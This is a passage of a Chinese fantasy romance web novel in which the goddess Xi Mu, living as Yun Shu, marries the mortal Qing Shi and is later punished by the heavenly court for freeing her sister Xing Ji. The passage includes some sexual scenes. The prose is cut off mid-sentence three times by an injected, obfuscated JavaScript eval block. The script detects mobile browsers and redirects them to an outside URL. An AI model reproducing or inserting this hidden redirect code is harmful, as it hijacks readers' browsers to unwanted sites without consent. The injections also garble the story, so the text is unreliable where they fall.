他忽然俯身再将她抱回,将头埋入她的脖颈间,嗓音沙哑得发闷:“都是一些寻常话,没什么好看的。” 听他这么说,析木更是好奇,心中痒得难耐:“给我看,不然不让你抱了。” 青时:“好饿,我们该吃早点了。” 他说完,牵着她往女弟子院落的厨房走去。 刚到厨房,便看见鉴心和小龟在跟着伍晨岚一起做糕点。 析木伸出手指,点点木案上的雪白小团子:“你们这是在做什么?这团子白白的,好可爱。” “这是元宵呀,”鉴心忽而恍然大悟似的:“看来仙女姐姐果真不食人间烟火。” 众人听得一笑,伍晨岚很久没有露出这般笑容,今日也难得心情不错:“云舒,莫不是你的家乡不曾过元宵节?” “啊……”析木还能说什么,她能认得人间的鸡蛋和青菜就算十分见多识广了:“是……我的家乡很……很是穷困,没有什么元宵节的……” 一旁的小龟随即点头附和道:“我的家乡也没有的。” 青时侧头看她:“云舒,我们也一起做元宵吧,自己做的应当会更好吃。” 析木早就想动手了,立马点头,开始学着伍晨岚和鉴心的模样去做。 她满意地搓出一个小白团子:“还挺简单的。” 鉴心已然成长为一个小小少年,直白道出:“那是因为伍师祖将馅料提前准备好了,咱们只需最后搓一搓便可完成。” 析木有些意外地看着木案上的食材:“原来这些……不是现成的吗?” 伍晨岚听笑了:“自然不是啦。” 析木看着几人手中都做成圆形模样,她尝试着捏成其他的样式,有的像猫咪,有的像小狗,有的像小龟…… 小龟:“我真的长这么扁吗……” 析木:“不然呢?捏圆了难道不就成了河豚?” 鉴心咯咯笑着凑过来看,发现还能这么玩,他也开始在那捏各种传闻中的龙、凤凰…… 析木见了直嘲笑他:“龙才不是长这样,你捏的这个角也太小了,这尾巴也太短了,到底在瞧不起哪条龙?哈哈哈哈……” 青时在木案的另一头忙活,问她:“那真正的龙长什么模样?” 她一把拿过鉴心手里的龙,开始修修改改。 顺道把凤凰也重新捏了一遍,嘴里念叨着:“凤凰呢,翅膀非常的大且漂亮,羽翼之上有好多好多的绒毛,可惜了这白面团展现不了色彩,他们的色彩繁多,缤纷绮丽,还有淡淡神光若隐若现的,当真令人见之神往……” 鉴心听着她的口中描述,忍不住浮想联翩:“真美啊……仙女姐姐若是可以带我亲眼见见就好了……” “啊!疼!”鉴心捂着额头委屈地看向青时。 青时手中的筷子敲中鉴心的额头:“小小年纪,别总想着不劳而获,自己勤加修炼,便也可以去见凤凰。” 析木转身将手中的面粉抹在鉴心粉嫩的小脸上,捏捏他肉嘟嘟的脸蛋:“小鉴心快快长大,好好修炼,修成了仙人,姐姐就带你去见凤凰。” 鉴心郑重其事地用力承诺着:“青师祖、仙女姐姐,我一定会成为仙门之中最厉害的人。” “先别顾着吹牛了,快点捏元宵吧你!”小龟在边上朝鉴心瞥去一眼。 鉴心也嫌弃他:“你捏的都是什么东西,一团黑糊糊的。” 两人的小斗嘴使得整个厨房都开始温热起来,外面飘摇的风雪似乎与这一处小天地毫无关系。 日上中天,山间的河面开始化冰,清澈的山水淌向无数支流,敲击出悦耳的声音,活水不断穿梭,洗刷掉那些旧年脏污。 院子里的风轻轻吹开了木窗,里面蒸腾的沸水热气徐徐冒出。 伴随着里面几人嘻嘻哈哈的闹声,落樱峰终于再次鲜活…… 晚上,析木躺在床上又一次来回辗转。 手上的缚魂铃发出淡淡荧光,析木静静地看了一会,铃铛开始轻声响动,她一怔,指尖仙术凝聚,停顿一息后,发光的缚魂铃被她以仙术盖住。 恢复如初,安静地挂在手腕上。 “他怎么……”她低声喃喃,拉过被子将手腕闷在里面:“怎么可以这样……” 窗外银白色月光透入,映得她耳垂似要滴血。 三个月后。 春风照拂,落樱峰本就四时不谢的樱花开得更盛。 “喵喵,我求求你别再叫啦!”小龟一脸崩溃地举起黑白相间的小猫儿:“为什么你晚上会这么吵!你自己知道吗,吵得我都无法入眠!” 伍晨岚在院中拍打着被褥,掩唇笑着:“小龟,那是猫儿叫春,如今已是入春,她想生宝宝啦。” 原本坐在一旁的析木拎过喵喵,问伍晨岚:“她看上去好生难受。伍师姐,除了让她与雄性.交.合,还有什么方法可以使她不再如此难受?” “好像没听说过还有别的法子。”伍晨岚道:“不如你去山下的兽医馆子问问看?” 析木向来是个动作快的,拎着喵喵就去找青时。 “青时,你知道山下哪里有兽医馆子吗?” 青时抱过喵喵:“之前穆师兄带着我们去过一次。” 析木:“那我们走吧,赶紧去给喵喵找个兽医,问问如何让喵喵不生宝宝也可以不叫唤。她看着好难受。” 话落,二人便直奔山下的小镇上寻兽医去了。 兽医给了一些草药,说是给猫儿服下便会使它好受些。 回来的路上,析木抱着喵喵在那心疼得嘀嘀咕咕:“下辈子我们做男人哦喵喵,生宝宝太遭罪了,咱们不生。” 青时听得发笑:“云舒,你想做男人?” 她偷偷憋笑,问他:“嗯,如何?” 他却看着她笑得温柔:“你若喜欢,怎样都好。” 析木:“真的?” 青时:“嗯。” 析木:“那换你做女孩子哦。” 青时:“好。” 吃过晚饭,析木照常拉着青时去屠妖湖边散步。 谁知,刚行到屠妖湖边,便看见几只野狗正在交.配,战况正盛。 析木下意识地抬手捂住了青时的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049853|133843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双眼:“你还小,不能看这个!” 这些小野狗还真会挑时候…… 青时笑得颤动,任由她捂着眼:“云舒,我不小了。” 她一时竟有些语塞。 是啊……对于凡人而言,他如今已是二十一岁,常人若是这个年纪,孩子都会打酱油了…… 她悻悻放下手:“那你看吧。” 他却忽而拉过她的手,往另一方向走去:“这有什么好看的,散步要紧。” “还不如看云。” 遥望天际,正是傍晚霞光掠影,云彩美不胜收的时刻。 晚上,析木久久不能入眠。 她看着手腕上的缚魂铃怔忡出神。 自她到人界寻他,便不自觉将他当做凡人,总是觉得,他重新投胎后的年纪比她小那么那么多…… 可其实,他如今的想法,她好像并未真正去了解过。 总以为是他在推开自己,可再细细回想,明明就是她的想法在主导,他总是由着她,是她一直在把他当做小孩子看待,每次的靠近也是逗弄更多,当他还没长大…… 想着想着,她竟已踱步走到青时房门前。 既然来了……她抬手,微微顿住一瞬,还是选择敲门。 “笃笃笃” 里面的人很快过来,打开房门,少年颇有些意外地看她:“云舒?” 只穿了一件单薄寝衣的少女站在房门口,理直气壮地:“我冷,你借件衣裳给我。” 青时摸不着头脑地转身去拿衣服:“……好?” 析木跟着进入房间,随手关上房门。 他拿了一件蓝色外衣递过来:“给,新衣服,还未穿过的。” 她不接衣裳,直接扑进他怀里,环着他的腰:“我头晕,要喝水。” 少年整个身子都发僵,久久没有动作。 析木叹息一声,放软了声音:“没力气走,你抱我过去喝水。” “……好。”他很听话地将她打横抱起。 走坐到案几前,正欲将她放下,她立马用力圈着他的脖子:“你抱着我喝,我自己坐不住。” “……好。”于是他又很听话地坐下,将她放在自己腿上。 也不知是不是忽然开窍,青时很自觉地端起水杯,没让她拿,他喂给她喝。 喝下一杯水后,析木正要重新抱他,却忽然一阵冷汗冒出,那熟悉的神识刺痛之感又再重来。天罚之下,她浑身都在疼得发抖。 青时一下有些慌神:“云舒?可是又头疼了?” “唔……”她连说话都开始没力气,软绵绵地:“一会就好。” 不消多时,析木总算感觉恢复了些,低头看了眼身上的薄裳,早已被冷汗浸湿,想着今晚还是先回去,洗个澡早点睡。 正欲起身,手却不小心按到了一处坚硬。 她仰头看他,他也在看她,眸色幽深,仿佛灰色的琉璃漩涡。 两人的长发纠缠着黏在她身上,青时伸手撩开几丝黏着她的长发,她看着浅笑了一声,将身子转过来,正对着他,再次坐下。 环着他的脖子,支去上半身贴近他,吻了吻他耳下的肌肤,在他耳畔轻声问道:“你见过……捣药吗?” 宛若一阵撩人的热风,带出心底最深处的燥意。 那底下,星火燎原,滚烫地快要灼伤她的。 忽而,屋外一阵晚风滑入,吹熄了忽明忽暗的烛火。 屋内霎时陷入黑暗。 无边黑暗直将人的五感放大,每一处的贴合都是那么灼人。 析木侧头贴了贴青时的唇角,声音呢喃着摧毁人的神志:“小呆呆,我这样很累,你托着我,好不好?” 见他僵着没动,她一把拽过他的手托住自己。 他的整个身子都已经烧红,嗓子比以往更沉哑:“云舒,你在做什么?” 他不知道,她已经好多年没跟他这般亲密了,她究竟有多思念入骨。而这个想念……当然也包括他的一切。 屋内黑暗,木窗半开间唯有一缕月光淡淡洒落。 她圈住青时,轻摇晃了两下。二人的衣料本就单薄,此时的亲密相接更是在磨人心弦:“……你说你长大了,那我们……做点该做的事……” 发丝上滚烫的水珠也不知是谁的,一路顺着滑下,坠入峡谷。 她吻上他的唇,轻咬了咬:“好不好?” 63. 遇露浓(十) 暗夜开始泛出青白微光的时候,析木觉得,自己对于凡人的体力当真是了解得太少。 青时把她从床角打捞回去,她伸手召唤了红色发带,化作降魔锁链,一圈圈绑住青时,喘息都还不匀:“你……我们……我累了!” 降魔锁链哪里困得住他?这玩意儿只对于天魔有用罢了。 他伸手解开,锁链化回红色发带挂在手上。他整个人像只小猫咪似的钻进她怀里,紧紧抱着她,蹭着她的脖颈软声撒娇:“云舒……云舒……” 她最见不得他这副样子,心软得一塌糊涂,搂住他无奈地抿唇:“青时,你不能这样……我的腰都要断了……” 怀里的少年忽而顿了一下,抬起脑袋压在她上方盯着她看,她眨眨眼,刚想问他怎么了,他瞬间又俯身吻她。 又狠又凶,仿佛下一刻就要将她拆食入腹。 吻到她连呼吸都快上不来的时候,他终于愿意松开她,嗓子仍是暗哑,轻轻搂她:“睡吧。” 说完,用那条红色发带把自己的手和她的手绑在了一起。 析木真真是看笑了,行吧,随他去罢,这人即使重新投胎做凡人,他也不忘和她的发带过不去。 快睡着的时候,听见身后那道声音呢喃着问她,像是怕惊到她,很轻:“……铃铛为什么会亮?” 她嘟囔着回了他一句,也不知他有没有听清。 …… “析木,”降娄抬手在某人身前挥挥:“想什么呢,这么入神,还笑得这么甜?” “怎、怎么?你刚刚叫我?”析木似是才清醒,问道。 降娄摸着下巴审视她:“你这幅样子……倒是和两千年前那次很像,就是那个青昼上神来找你的那次……” “你的脸好红!析木,你这般反应,倒真真像极了话本中那些与意中人在一起的女子。” 析木伸手摸摸脸颊:“是嘛。很红吗?” 降娄嫌弃地看去一眼:“从前的你可不会这样的,若不是遇上什么事,断不会如此小女儿作态。” 随后神秘兮兮地凑近,小声道:“析木,你与我说说究竟是何人,我不会告诉别人,你下凡去,是不是与凡间男子相恋?别怪姐姐没提醒你,凡人命短,到时难过的只会是你自己……” 凡人命短? 降娄还真的提醒到她了,她差点就忘了这茬。他这辈子只是一个普通凡人,修仙的资质也并没有多上乘,约摸是活不久的。 “难受了?”降娄继续咬了一口仙果:“你该想到结局的。” “不是,”析木只淡淡笑着,说道:“哪怕只有短暂一世,互通心意,相伴一生,不留遗憾也是好的。” 降娄睁大双眼,缓慢放下了手中的碧绿仙果:“还真是……凡人啊……” 析木毫不避讳地承认:“嗯。我去看看星纪。她身上的东西可有再发作?” 降娄摇头,低声道:“没,有那位在,她身上的东西暂且伤不了她。” …… 回到人界。 山间炊烟袅袅,秋雨正朦胧。 析木一眼便望见熟悉的身影站在院落前等她,撑着一把青山绿水绘制的伞,融在淅淅沥沥的小雨里,宛若画中的谪仙人。 她走过去扑进他怀里:“等我多久了?” 他笑着轻轻拍她:“好久好久。” “骗人,我才离开一天而已。” 析木顿了顿,回想起降娄的话,再忆起这段日子二人亲密之时,他总是会看她手腕上的缚魂铃。 “不如……”她靠着他的胸膛说道:“我们成亲吧。” 他的心脏滞了一息,随后便是快如击鼓。 青时显然是懵了,怔忡在原地,连呼吸都有点困难。 析木松开他,看得想笑,抬手捏捏他的脸颊:“你不愿意与仙女成亲吗?” 青时:“我……” 析木:“你要是敢拒绝我,你就是真的呆!” 他看着她这假装生气的小模样,忽而笑了起来:“怎敢?” “与仙女姐姐成亲,乃是此生之幸。” “我已在想我们的婚礼之事。”他说。 “好哇,”析木满意地再次抱住他:“也不必隆重,请仙门内的大家一起吃顿饭就好了……” 婚礼虽不隆重,却也是玄寅仙门这一年来难得的热闹事。 门中留下的弟子不算多,所有人都到齐了,也就六桌不到。 析木头一回见识人间的婚宴,又是与喜欢的人成婚,满目的新奇又惊喜。 才半天不到便收到许许多多的各式贺礼,整个人很是欣喜地挽着青时满场敬酒。 在敬酒道最后一桌时,坐了不少女弟子,析木挽着青时过去的时候,赵苏颜忽而带领一众女弟子站起身。 析木吓了一跳,但也笑道:“怎么?还在记仇我抢走你们的青时师兄吗?” 赵苏颜却晃晃脑袋,珍而重之地端起酒杯:“云舒,那一日,我清楚看见是你杀了那双头蜘蛛妖,是你救了我们一命。在你刚进玄寅仙门之时,我对你多有嘲讽,对不住,还有,谢谢你,这杯酒我先干为敬,你随意。” 随后边上的一众女弟子全都跟着她,齐齐干了手中的清酒,看得析木微愣住一瞬:“我还以为……出什么事了……” 伍晨岚在边上的一桌掩唇笑道:“云舒啊,人家想与你道歉道谢的,可终于逮到机会了。” 析木很是爽快地也跟着喝下一杯:“那我便收下了。” 酒宴结束之时,皎皎月色已爬上柳梢。 析木拽着青时往寻引真人和穆理的坟头行去。 青时却拉住了她,道:“前几日我已与师父和师兄说过。” “噗。”她笑得开怀:“我管他们同不同意,只不过想请他们喝杯酒罢了。所谓今朝有酒今朝醉,可听过?” 他一顿,也笑:“好。” 析木素来不怎么饮酒,今日兴致上头喝得着实有点多,最后在坟头前笑得站不稳,被青时抱着回了新房。 随后便任由他抱着为她洗漱干净,再抱上婚床。 衣裳尽褪之时,她忽而想到一件重要之事,按住他:“等等!” 他抬起脑袋,唇上一片润泽:“怎么了云舒?” “有……有东西……要给你。”正是情浓,忽而一阵愉悦上顶,她连声音都在发抖:“你、你停下。” “嗯,是什么?”腿边的脑袋压根没有停歇的意思,还愈发恶劣。 析木喘得几乎上不来气,心里有些麻木地想着,算了,明日再说吧… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13064367|133843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … …… 翌日。 晨曦暖阳斜入,木窗漏开一丝缝隙。 析木迷迷糊糊地睁开眼,便见一只红绿相间的花叶鸟落在窗前。 她摇醒还在熟睡的枕边人:“快醒醒。” “嗯……”他明显昨日也是累极,声音还有些惫懒,夹杂着沙哑:“怎么了云舒。” 楼她入怀:“再睡会……” 析木却清醒起来,将手上的缚魂铃摘下,戴在他的左手腕上,告诉他: “这个呢,是你曾经给我的——昆仑宝器缚魂铃,其中有你、也有我的一丝神魂。你戴着它,将灵力灌入其中,便可感知我的五感,知我心中所思所想;若是念着我的名字,只要我还活着,它便会发光回应你。 假若往后我不在身边之时,你要想我了,就对着它默念我的名字,它会回应你我所在的位置。” 青时听到她这么说,感知着手腕上铃铛中两人的魂魄,瞬间有些清醒了:“原来……” 析木将唇角翘起,笑意温和:“嗯,本来就是你的东西,现在物归原主。” 她只是在那日说出成亲的时候,忽而想起很多两千多年前的事来。 她曾嫌弃青昼总是神情恹恹,她看不出他的喜怒哀乐,害怕他不高兴了也不会与她诉说。 于是有一天,青昼将缚魂铃绑在她的手腕上,对她说:“我将一缕魂魄放在这缚魂铃中,我之方位、五感、所思所想你皆可感应。” “那你不是没有秘密了?”她看着缚魂铃,奇怪地问道。 青昼:“为什么对你要有秘密?” “比如……我们走在星尘道上,你忽然看见哪个路过的美丽仙娥,觉得她比我好看?” 青昼:“比你好看的人那么多。” 她闻言立马挂脸,甚至有想要暴揍他一顿的冲动。 他却接着说道:“可是她们不会让我有欲望。” 她听得心脏都停滞,整个人呆愣愣的:“什么……欲望?” “上.床的欲望。”他说。 但青时似乎感知不到两千多年前的回忆,问她:“你方才在想谁?” 她忽然俯身吻他的唇,贴着他的耳畔,轻声笑道:“还能有谁,你呀。乖哦,我有点急事要回神界一趟,可能会晚点回来。” 看着他乖顺地点点脑袋,她忍不住又亲了几口才离开。 神界,南天门。 “析木!”降娄一见到人便拉到一旁去。 析木见她神色不对劲,也随之微微蹙眉,问道:“怎么了降娄?何事如此焦急?方才一收到你的信我就立马赶来了。” 见周边无人,降娄挨近她,急得小脸都皱巴成了一团:“星纪的事,被天帝知道了!” “什么?!”析木显然未料想到是这件事:“怎会……” 她曾想过无数次星纪和神泽、还有星纪身上魔气的事若是披露会怎样…… 但没想过这一天会来得这么快这么突然。 她只用了瞬间便冷静下来:“星纪现在在哪?”但愿此事还能转圜,天帝并不是全然不讲情面的。 降娄道:“神泽带着她不知藏到了哪里,天帝已下令让昭无将军封锁整个神界,只准进不准出……喂!析木,你去哪?!” 64. 遇露浓(十一) 神界之内,除了神树玄境有上古八大神树盘亘以外,还有另一处也是仙林茂密、常年仙气滋养,生出无数神草与仙树,那便是——神树荫。 此地比神树玄境地界更大,甚至可以说放眼望去漫无边际。不同的是,此地生长着各色花果,仙林间五色缤纷,景致更为多彩,以花树为主,由十二花神守护。 这些仙树与神泽同为树木之灵,更能掩盖他的气息,所以,若要藏匿,神树荫再适合不过。 析木能比所有人都先想到神树荫,是因星纪与她诞生于同一片星云,她们的神识之间总有丝丝缕缕无言的感应。 “星纪,你跟我回去,我们好生与天帝认错解释,他并非不通情理的。”析木对着眼前的茂密仙林说道。 虽不知星纪和神泽的具体位置,但她知道他们能听见她说话。 少顷,一阵窸窸窣窣的响声过后,一道高大的姜黄色身影显现,朝着这边沉步走来,正是神泽。 而他的怀里正打横抱着红衣似火的神女。 “星纪!”析木几步飞身上前。 却见那红衣神女早已失却往日神采,她面色如土,嘴唇发紫,双眼无力地半睁半合:“析木……” 析木瞬间湿了双眸:“怎么会……怎么会变成这样?” “你说那高高在上的天帝能通情理?!”神泽嗤笑一声:“此乃是三界最好笑的笑话!” 他额间的青筋清晰可见,咬着牙道:“他若是通情理,又怎会让昭无对星纪格杀勿论?!” “你说什么?!”析木显然被这番话吓了一跳。 昆仑仙境天诛台的昭无将军,乃是神界最神勇的神将之一,手握天诛令与炬神杵,只要天帝诏令一下,他便会以雷霆之势即刻执行。 “星纪,是被昭无的炬神杵所创。”神泽将星纪放下,颤着手去将她的发丝拨到耳后。 闻言,析木慌张地拉起星纪的手,将自己的神力灌输给她:“星纪,你要好好的……” 星纪无力牵出一丝苦笑:“析木,省省力气……其实,我还好……” “好什么!”析木眼眶中的泪终于再憋不住落下:“你都这样了!” “析木,”星纪用力回握住她的手,眼中亦是含泪:“别怪任何人……也请你原谅姐姐的任性,姐姐不能再陪你,一起……” 析木垂首闭眼,任由眼泪淌满面庞:“你别再说这些了,我求求你,星纪……” 神泽苦笑:“星纪本有生机……” “什么生机?”析木像是抓住一根救命稻草,猛然抬眼死死盯着神泽,渴望他再说下去。 “我曾有一挚友,名为天书,”神泽看着星纪喉头哽咽,难受得嗓音不住发抖:“他曾说过,无序城中有一上古镇器,名为东璋镜,它不仅仅是为镇器之用,还可洗涤仙神之躯身上的脏污魔气。” “且,可重塑神脉,若能找到东璋镜,必定能让星纪恢复……” 星纪听着却笑了,打住神泽的话头:“你是多少年之前听天书说的啦?” 神泽一顿,也不隐瞒:“数十万年之前。” 星纪笑得眉眼弯弯:“你看,都这么长时间过去,先不说天书所言真假,无序城的地界与九重天大小相似,无边无际的,去哪找什么东璋镜。再说,我身上的魔气,不是被你控制得挺好的了嘛……” 析木扯了扯星纪的手:“星纪,若真是存在这等神器,我……我定要去为你寻来东璋镜!” “可现下之急,我们……”说着,她咬了咬下唇,似是艰难地下了决心:“我们先找个合适的地方躲起来罢。” “析木,”神泽嗓音沉沉,神色晦暗:“如今神界虽是封锁,但有一处通道,它从无关闭之说,他们关不了。” 析木抬眸,难过地落泪,声音不住地颤:“哪里?” 神泽幽绿的眼眸燃起希望,看向析木道:“无极玄环阵。” “玄环阵?为何?” 神泽:“此阵不仅连接三界作渡劫之用,也是除了南天门以外,可以走出神界、通往下界的‘路’。” 析木皱眉:“但,若没有渡劫令牌,你们进不去。再者,从未听说这里面有什么‘路’,这是一个阵啊,进去就要历劫,星纪如今的身体,怎受得了?” 神泽摇了摇头:“罕为人知罢了,渡劫令牌是阵法守卫核验身份所用,实际走入阵中并不需要什么东西,而里面的道路,往前走是渡劫,往后走却是可以安然下界。” “还真是年纪大知道得多。”析木听后,忍不住嘀咕了一句。 星纪被析木逗得一笑,咽下喉头的腥甜,敛去笑意,道:“守卫太多了……不去……危险……” 析木弯下腰替星纪擦了擦额头的汗,笑了:“姐姐,你能不能别总操心那么多?” 缓过几息,她牵着星纪的手,稍加用劲把神力再次灌入,抿了抿唇说道:“姐姐,能做你的妹妹,是我此生最为高兴的事。 就因为我比你小一些,你便替我挡去那么多的危险、挡了那么多回的刀,没这个道理啊……凭什么,每一次都是你来护我?” “我也想……护你一次……”析木的泪珠犹如断线珍珠似的,簌簌滴落在她们相握的手上:“姐姐,你休息一会,这一次,换我护你……” 神力停下之后,星纪缓慢合上双眼,呼吸渐缓,熟睡过去。 析木拭去泪水,转向神泽,目色坚定:“神泽,我虽极不喜你,可你是星纪的选择。” “在她魔气缠身的时候,我曾数次劝她和你分开,可是她却执拗,甚至一次比一次决绝。每每提及你,她都是那么欢欣,满目的放松愉悦与美好,我从未见过她如此。” “可她如今这般,若说原因,还是在你……” 析木皱眉凝视星纪,再接着说:“罢了,我这条命,原本也是星纪救回来的,还给她又有何妨?” “我会掩护你们,进玄环阵。” 神界·玄环阵。 析木施法打晕阵边守卫,眼见神泽抱着星纪踏入玄环阵,他声音沉如枯木:“我不会与星纪再提起你。” 她站在阵边望着星纪,看着他们二人的身影逐渐消失于玄环阵法之中,忽而扬唇一笑: “那便再好不过。” “析木上神!” 昭无将军的洪亮声音从身后响起,怒气冲天:“尔竟敢放走这两个昆仑叛徒!” 诚如天道安排,这上界之中最合适的天诛令执法者,便都是从人界历经千辛万苦一步一步走到上界的人们。 数万年之前,昭无将军还未成仙之时,他曾是人间兵将,在世为人之时做出大贡献、得了大机缘这才飞升上的神界。 而远古时期人界的昆仑山尚有神柱,机缘使得他窥得神柱,引他一步一步踏过神柱、再走过神柱之顶的登仙桥,才终于从人界登上了神界。 故而那时,人们常将昆仑视作“天”,登昆仑即是登天。 也因此,他与析木这一类自星云之中诞生的天生神仙不同,他深知机缘难得、神柱难走,所付出的代价与苦痛常人难以想象也难以承受,如他这般的神仙,从来遵循天规,最是无法接受“叛徒”。 送走星纪和神泽,此时的析木却无比平静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114355|133843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她转过身,望着列队整齐、身着麒麟铠甲的神兵神将,嗓音一如往日清冷:“昭无将军,你来晚一步。” “但也不算太晚,至少,你还可以将我带去天诛台。” 神界昆仑仙境·天诛台。 琉璃般的水泽之中,高耸起一座巨大墨玉石柱。 上古时期镌刻下的金色铭文在墨色柱身上如巨蟒似的盘旋。 “析木,身为神树玄境的守卫者,竟包庇神树神泽与星纪动情违逆天规?尔胆敢私自放走两名昆仑叛徒?可知罪?” 司法星君不见身影,只闻其声音庄严浑厚,自水泽深处徐徐而来。 缓缓传入耳中,一字一句逐渐清晰。 析木低着头跪在天诛台上,因铭文的惩罚而呼吸急促。 神色明显痛苦不堪,就像有人拿着钝刀子往她魂魄上一寸一寸地割。 只有双手撑地才让身体不至于趴下,听到司法星君的沉声审问,她原本散开的神识才逐渐回归。 许久,她只觉得好笑。 “尔仍是不知悔改?” 她用尽气力才缓慢抬起头来,苍白的脸上已看不见血气,却有一丝倔强:“我笑的是我自己。” 咽下喉头腥甜,她缓缓张口:“守护神树玄境乃是我此生职责,可……” “可若是让我眼看着星纪死在面前,不去救她,此事亦无法做到!” “天罚,我自愿领受……” 天诛台的上古铭文又一次发出光亮。 “呃!”一口鲜血终是忍不住喷涌了出来。 四下寂静无声,只有殷红鲜血滴落的声音。 滴答、滴答—— 不知时间流逝了多久,司法星君无情的审判之音才再一次响彻:“既然如此,那便受罚罢。” “洪荒顺逆,问道有无,天诛,显!” 墨玉石柱中的金色上古铭文迅速盘旋又分散重组,唯有司法星君看懂其中释义。 “析木,” “天诛判罚,因尔私自放走两名昆仑重罪叛徒,故判至冥府司魂使之职,需听命冥府指令千年,千年终了,尔自魂飞魄散——” 天诛台,与三界苦厄共契。 这等惩罚,她又怎会没有想到? 一切——都是自己的选择罢了。 地狱之门阴阳道从虚无之中绽放,一道娇小的黑袍身影自猩红彼岸花中踏出,她伸手接过天诛台上浮现的判罚卷轴。 “析木上神,”鬼王阿宿眉眼弯弯看向析木:“自此刻开始,你三魂之一的地魂与我地狱之息结契,” “你将会忘记从前所发生的一切,包括至亲至爱之人——” “你将会千年服从于我,服从于冥府指令——” “千年之后,你将魂飞魄散——” “最后,给自己起个新名字吧?” 阿宿只伸出一掌施法,黑红相间的阴诡阵法层层环绕析木。 一如夏树的青绿衣裳从她身上一丝一缕褪去,眨眼间,浓如焦墨的暗色黑袍渐渐缠绕而上。 “就叫云舒吧,云卷云舒的云舒。” 析木眼中一滴血泪流出,缓慢划过整个脸颊,无声落下,神识之中悠长记忆轰然化为一片空白,只瞬间,她的双目再无丝毫灵气,宛如一具空壳傀儡。 阿宿“啪”的一声收起判罚卷轴,唇边勾出一抹幽然淡笑:“你好啊,新任魂使大人,云舒。” 面前少女单膝跪地,黑袍随风翻飞,长长的黑发垂落于墨玉天诛台上,她的声音冰凉又麻木: “鬼王大人,有何吩咐?” 65. 无序城(一) 眼前记忆凝固,画面恍惚间化为尘烟缥缈。 神识再次传来强烈晕眩与刺痛,云舒吃痛地倒在地上,隐约听见弥与的呼喊声忽远忽近…… “析木,好孩子,”奉麟的声音从神识之中响起,暗含蛊惑:“你抛下一切去救你的姐姐星纪,可她,却死了……” “她……死了?” 奉麟:“是的,她死了,死在天帝的一声令下,她魂飞魄散,永世不得入轮回。” “你,可想让她复活?”他问。 “既已魂飞魄散,又如何……复活?” 奉麟轻笑一声,缓声道:“你也知晓,诛神石可以吸食魂魄、诛杀仙神,而这些,三界之内还有其他神兵利器也可做到,但诛神石,它真正不为人知的妙用却不是这些。” “那是什么?” 奉麟的声音满是阴诡之气:“以魂还魂——集齐诛神石,为它献祭足够强大的魂魄力量,它自会报答于你。” “报答……可以复活星纪吗……” 云舒忽而觉得神识中的刺痛消失了,她的身体轻飘飘地从地上爬起,脑袋不再晕眩。 她定定地站在那里,僵硬地望着前方,双目无神,像是没有目的的游魂。 弥与眉头紧蹙抬起一掌,召唤出地狱岩浆: “奉麟,地狱岩浆的滋味你还没尝够是吗?!立马解开对云舒的控制!” 奉麟却邪邪笑道:“寻她说两句话罢了,鬼王何必着急,她不是好好的吗?” 云舒神识之中奉麟的声音仍在继续:“析木,好孩子,你只需听我……” “砰——” 一柄冷冽的白骨刀刃擦着奉麟的双眼飞过,直立在九幽狱阴水上方。 云舒顿觉那双搅弄神识的大手骤然退出,整个人忽而失去全部力气。 耳边风声呼啸,有人一手揽过她的腰际,将她搂抱在怀里。 来者身上满是淡淡白茶清香,声音沙哑着唤她:“云舒。” 奉麟回身站起,瞥了一眼青龙脊骨所化的却隐刀:“我的好师弟,青昼,你方才可吓到师兄了。” “瞧我,一下子竟忘了你俩仍有缚魂铃相连。析木这好孩子着实可怜呐,为了姐姐受尽天罚,与至亲至爱阻隔千年,连我昆仑宝器缚魂铃也被封住,如今我让她恢复记忆, 小师弟,你怎么说也得好好感谢一下师兄我啊?” 青时冷嗤一声:“缚魂铃之天罚阻隔早已被玄武大神解开。别有好事就想揽在自己身上。” “奉麟,”他神色寒幽,死死盯住奉麟的眼:“你若嫌九幽狱的惩罚不够,却隐刀可以在这里陪着你。” 话落,直立在阴水上方的却隐刀忽然消融,化在阴水之中,水面翻腾起无数水线,细细密密地缠绕着奉麟的身躯,白骨刃夹杂着水刑,来回穿透他的魂魄,只见他双目瞬间瞪圆,竟是连一声嘶吼也发不出。 弥与在边上见状也嫌恶地“咦”了一声:“青时,看来我九幽狱这数万年空缺的典狱长之位可以交给你。” “没空。”青时淡声丢下一句,身影便乍然消失。 身后却传来奉麟的嘶喊:“师弟!她没两年活头了,你难道就不想用诛神石的复活之力吗?!” …… 回到昆仑杂货铺中。 云舒仍有些意识模糊,双眼并不能完全睁开,朦朦胧胧的,她的神识似乎还有一半在天外神游。 “……青时。”她揪着他的衣襟,很用力地想把目光聚焦,从他怀里抬头去看他:“青时。” 